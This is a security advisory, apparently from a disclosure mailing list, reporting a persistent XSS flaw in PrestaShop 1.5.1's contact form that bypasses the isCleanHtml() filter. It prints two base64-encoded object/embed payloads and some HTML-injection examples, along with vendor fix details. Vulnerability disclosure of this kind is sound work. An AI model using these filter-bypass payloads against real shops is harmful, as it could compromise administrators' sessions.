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PrestaShop <= 1.5.1 Persistent XSS
From: David Sopas <davidsopas () gmail com>
Date: Tue, 30 Oct 2012 22:32:36 +0000

PrestaShop <= 1.5.1 Persistent XSS

Tested under: Firefox, Chrome and Safari latest versions
Discover Credits: David Sopas - davidsopas () gmail com | @dsopas |
davidsopas.com/labs
Original link: http://davidsopas.com/labs/prestashop_xss.txt

Description:
PrestaShop is the most reliable and flexible Open-source e-commerce
software. Since 2007,
PrestaShop has revolutionized the industry by providing features that
engage shoppers and
increase online sales. The Prestateam consists of over 100 passionate
individuals and more
than 350,000 community members dedicated to innovated technology.
It has more than 2.000.000 downloads and won the best open-source
e-commerce software in
the last few years.

When installing and analyzing PrestaShop on a secure environment I
discovered that it's
possible to bypass isCleanHtml() function, used in many places, in
this case in particular
the Contact Form.
A user could use this vulnerability, a Persistent Cross-site
Scripting, to execute malicious
 payloads on admins message box.

Proof of concept:
In the message field a user could write:
<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgid2Vic2VndXJhLm5ldC14c3MiKTwvc2NyaXB0
Pg=='></object>

or

<embed src='data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc
3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9y
Zy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0
ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIndlYnNlZ3VyYS5uZXQgeHNzIik7PC9zY3
JpcHQ+PC9zdmc+' type='image/svg+xml' AllowScriptAccess='always'></embed>

Both Base64 strings are mainly <script>alert()</script> encoded.

Those XSS vectors bypass the filter on isCleanHtml() and execute
automatically when the admin
check the messages on the admin area. This is critical and could be
used to implement very
bad scenarios.

Keep in mind that on some webmail variations, the code is also
executed. A user can even play
with heading <h1> and other HTML on message box.

<a href="#" target="_blank"><img
src="http://www.prestashop.com/images/logo.png"; width="800px"
 height="600px" border="0" /></a>

or

<a href="#" target="_blank" style="font-size: 30px">Click here</a>

Again, encoding with Base64 could also obfuscate a little bit.

I think that in this case in particular, HTML should be stripped out
because it has no meaning
in my opinion on the contact form.

Solution: Vendor reported that upgrading PrestaShop to version 1.5.2
will fix admins message
box bug.
HTML on email accounts still a possibility in the latest version.
According to the vendor,
it will be fixed on the next version.

References:
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://ha.ckers.org/
http://forge.prestashop.com/browse/PSCFV-5204


--

David Sopas
davidsopas () gmail com # @dsopas


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